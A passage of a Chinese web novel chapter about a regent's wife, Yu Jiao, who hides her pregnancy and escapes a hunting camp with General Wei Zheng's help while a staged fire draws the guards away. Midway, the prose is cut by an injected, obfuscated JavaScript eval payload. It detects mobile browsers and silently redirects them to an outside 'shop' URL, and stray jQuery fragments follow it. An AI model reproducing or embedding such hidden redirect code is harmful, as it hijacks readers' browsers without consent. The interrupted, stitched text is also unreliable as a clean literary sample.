可钟离珩一直限制着她,平日连钟离瑶都不太能进见到,此刻是难得自由的时刻。
她的目光在这些营帐四周穿梭,不知卫铮现在在何处。
正想着,突然听到一声鸟叫,循声看过去,就瞧见一张英俊的脸正躲在拐角的阴影处朝她招手。
他这偷摸的做派,没来由的叫虞皎也紧张起来,警惕地看了看四周,没看见人,虞皎才走过去。
走近了,便被拉进一个小帐篷里。
“卫大哥,你找我什么事?”
见她一脸紧张的样子,卫铮低头安抚:“别怕,我已让人盯着钟离珩,他不会发现的。”
虞皎是真的怕钟离珩一发疯又要喊打喊杀,上次宋怀砚的事把她吓到了,闻言,果然放松了些。
但紧接着卫铮的话又让她的精神绷紧了。
“我知道你受委屈了,若你想,我送你离开。”
闻言,虞皎双目一怔。
离开?她做梦都想离开,尤其是发现自己有了身孕之后,她就愈发忍受不了这种被无时无刻监管的日子,每日都提心吊胆。
可万一被发现……
“不要担心我,你忘了,西北可是我打下来的,他钟离珩还能随意对我喊打喊杀?那都是吓唬你的。”
看见虞皎脸上满是不安与惊惶,提起钟离珩时更是浑身都在紧张,卫铮的心都好像被人揪住了。
阿皎原本多开朗爱笑,这才多久,眉眼间都聚了层郁气,整个人都萎靡了。
别说钟离珩要对他憎恶至极,他又何尝不是!
“阿皎想去哪儿生活?听说你之前想去江南,那边风景宜人,的确不错,我派人送你去如何,等以后得空了,还能去找你一同泛舟游湖。”
“又或者,阿皎想去别处,同我说,我来安排。”
卫铮眼中满是包容之色,他高鼻深目,其实是有些攻击性的英俊长相。
可对着虞皎他从来都是宽和包容的邻家兄长模样,可靠又包容。
虞皎听他描绘的美好景象,眼眶有点泛红,心中积压的情绪有点压制不住,但很快又强逼着自己冷静。
原本她绞尽脑汁地想逃走却没有门路,正忧愁之际没想到会峰回路转。
“我想去江南,”她说着手心贴上自己腹部,“那儿正合适。”
往北太冷,回凉州会被找到,别的地方,太近了不合适,太远了,她怀着孩子不适合太奔波劳累。
瞧见她的动作,加上她的话,卫铮目光一怔,随后有些不敢确定地问:“你腹中……”
虞皎点了点头:“虽没有找大夫看过,但八九不离十。”
卫铮只是怔了片刻,随后什么也没说,只点头安抚道:“别担心,我会安排好一切,你只要养好身子,放宽心等我消息就好。”
“谢谢你,卫大哥。”
“跟我还客气什么。”卫铮笑着,十分克制地摸了一下她的头。
临开宴,两人也没多聊,为了不引起怀疑,虞皎很快就回了帐篷。
她回去擦洗换了身衣裙,刚穿戴好钟离珩便回来了,见她好好待在帐篷里,他才放下心,道:“走吧,随我去赴宴。”
虞皎虽然很累,但还是听话地与他一同出席。
今日的菜色多是山珍野味,烹饪方式也多是炙烤油煎,都是大荤之物,虞皎闻着便有些反胃。
她强忍着不适吃了点便放下了筷子,钟离珩注意到了,见她不喜,直接命人撤下换了她爱吃的。
“我记得你从前最爱吃那些,最近怎么口味变化这样大?”
虞皎以前穷惯了,缺油水,过上好日子后恨不能顿顿吃红烧肉,如今却相反,油重一分都不行。
“若非你月事刚走,这症状倒有些像是怀上了。”
面对钟离珩若有所思的神色,虞皎心中一惊,但知道自己不能露出半分马脚,否则他若真知道了,定然会直接将自己送回京去。
“正因之前顿顿吃,才吃腻了。”她说着,装作不太高兴的样子,故意挑刺转移话题。
“你整日念叨要孩子,我要是不能生呢?”
“怎么还生气了,不能生就不能生罢,我不说就是了。”
他只是想要个孩子拴住虞皎的心,并不是真的有多喜欢小孩。
有很好,没有也无所谓。
见他将这话头揭过,虞皎暗自松了一口气。
好不容易等筵席散去,她回到营帐时便累极了,简单收拾下倒头就睡。
见她这样,钟离珩也没有闹她,只将人拥入怀安心睡去。
接下来的几日,山林里愈发热闹,不少人都猎到了大家伙。
虞皎没有要再出去,只是在营地内走走,或者去校场练习下骑射,钟离珩会陪着她。
若是他没空,会安排人跟着,卫铮没有再特地寻机会出现在虞皎面前,就仿佛那天碰见只是一个偶然。
骑射是虞皎除了读书写字后学的第二项技能,她学的很认真,因为要为离开做准备,去江州的路途遥远,她须得学些防身的东西。
在马背上拉开弓的时候,虞皎觉得自己的脊背再次挺直了,箭矢精准的射中前方的靶子,好像驱散了她对未知前路的迷茫与不安。
钟离珩永远驯化不了她,因为她是人。
这日,忽有消息传来,有人在林间看到了一只通体雪白的神鹿。
白鹿是象征吉祥平安的瑞兽,若能捕之圈养,祭祀祈求来年丰收,定然大有裨益。
钟离珩根本不信这些,可奈何那些老家伙们一听这消息就炸了锅,吵着要去请祥瑞回来。
就连文老太傅也过来劝道:“新帝将将继位,便遇上年成不好,恐不利于民心,不论是求个心安,还是为安抚民心也好,还请摄政王务必将那神鹿请回来。”
旁人且不论,老太傅的面子钟离珩无论如何也得给。
没法子,他只得带领人手,以及一众看热闹的大臣亲眷们奔进林子里头寻找祥瑞。
虞皎没有去,她说前一日拉弓太累,不想去凑热闹。
钟离珩原本也不想带她去,还不知那祥瑞在哪儿,奔进林子里头一时半会儿根本出不来。
“那你在营地内好好休息,有什么事找我留给你的人。”
“嗯。”
听见脚步声远去,虞皎立即坐起身,心中忍不住升起一股鼓胀的的兴奋。
她这些日子表现得很听话,只安静的等待卫铮的消息,并不知他如何安排。
但这会儿却莫名地笃定,离开的契机要来了。
她换上一身轻便的衣服,坐在帐篷中忐忑的等待,目光落在架子上挂着的那张弓上。
想了想,她将弓取了下来,路途遥远,若遇危险,也可带着防身。
钟离珩离开时带走了营地大半的人,卫铮也跟着一起去了。
剩下的,要么早已进了林中打猎,要么寻了僻静处垂钓散心,来猎场的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249809|193316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,基本没有白日会待在营帐的。
虞皎是那个例外。
看到祥瑞的人带着众人到了那座山头,长了腿的生灵自然早就不见,众人只能分散寻找,向着更深的山林里去。
卫铮也寻了一个方向,策马跑了一圈儿,却在没人注意时悄摸转身回了营地。
他也带了人来,早在知道虞皎会来秋狩,他就已经做好了准备。
接近傍晚的时候,秋阳温吞,无风无浪,巡逻的军士晒着日头,正值惫懒之际。
却突然发现正东方冒出浓烟,燃起了大火,领队的看清之后大惊,连忙带人赶去灭火。
“起火了,快,都去灭火!”
那个方位可都是皇亲国戚的营帐,待巡逻的赶到,发现火势正中心赫然是摄政王的营帐,原本在门口守着的人都已经晕倒在了地上。
想到还在帐篷内休憩的摄政王妃,统领的只觉天都要塌了,赶紧招呼人灭火。
“通知营地内的所有人,都来救火!快!顺便派人将此事告知摄政王。”
“是!”
虞皎小心地躲在一个小帐篷里,看到一队队人从前面跑过,原本严防死守的营地瞬间有了缺口。
眼见人都被吸引去了一处,卫铮趁机带着她离开营地。
两人借着帐篷的掩护快速往外去,虞皎奔跑中听着耳边的风声,心不自觉紧张地砰砰直跳,一直到顺利出了营地,她都不敢松懈。
卫铮唤来一匹马,带着她骑上马在山林中穿梭,一路飞驰到山脚才停下。
不远处的树下,已经有人在那接应。
“这是卫凌,我的副将,新的身份跟路引都准备好了,出了中州,会有商队在豫州接应你们,不过出中州还要靠你们自己,我不能安排太多人,容易被发现。”
“前面这段山路崎岖,马车跑不动,只能辛苦你骑马了。”
临别之际,他实在不放心,忍不住细细叮嘱。
“没事的卫大哥,我没那么脆弱,真的很谢谢你,你快回去吧,别让钟离珩发现是你帮我……”
话没说完,头又被揉了一下。
“好了,不要那么替别人着想,都说了他不能拿我怎么样。”
卫铮说着,脸上有些怅然:“阿皎,到了地方要给我来信。”
“接下来的路要你自己走了。”
“别怕,卫凌会陪着你。”
虞皎点头,眼神里是对即将开始的新生活止不住地向往:“我知道,等我安定下来就给你写信。”
“好,到时我去看你。”
“对了,还有这个孩子,”他犹豫了一下,又继续说,“若你不想要,我可以替你寻个靠谱的大夫。”
“不用了,”虞皎最终还是摇摇头,“这是我的孩子,我决定生下来。”
卫铮一怔,继而又觉得并不惊讶,他只是有些心疼:“好,我尊重你的决定。”
“小凌,我把人交给你了。”
那个叫卫凌的黑衣少年点点头:“将军放心,我定会将人安全送到。”
卫铮拍了拍他的肩,道:“走吧,一路小心。”
两人各自上了一匹马,目送着他们远去,卫铮才回去。
正在山林中追了一下午,太阳快下山才抓到那只白鹿的钟离珩,回程的路上突然有不好的预感。
正加速往回赶时,就听有人来报。
“禀王爷,不好了,营地失火,王妃失踪了!”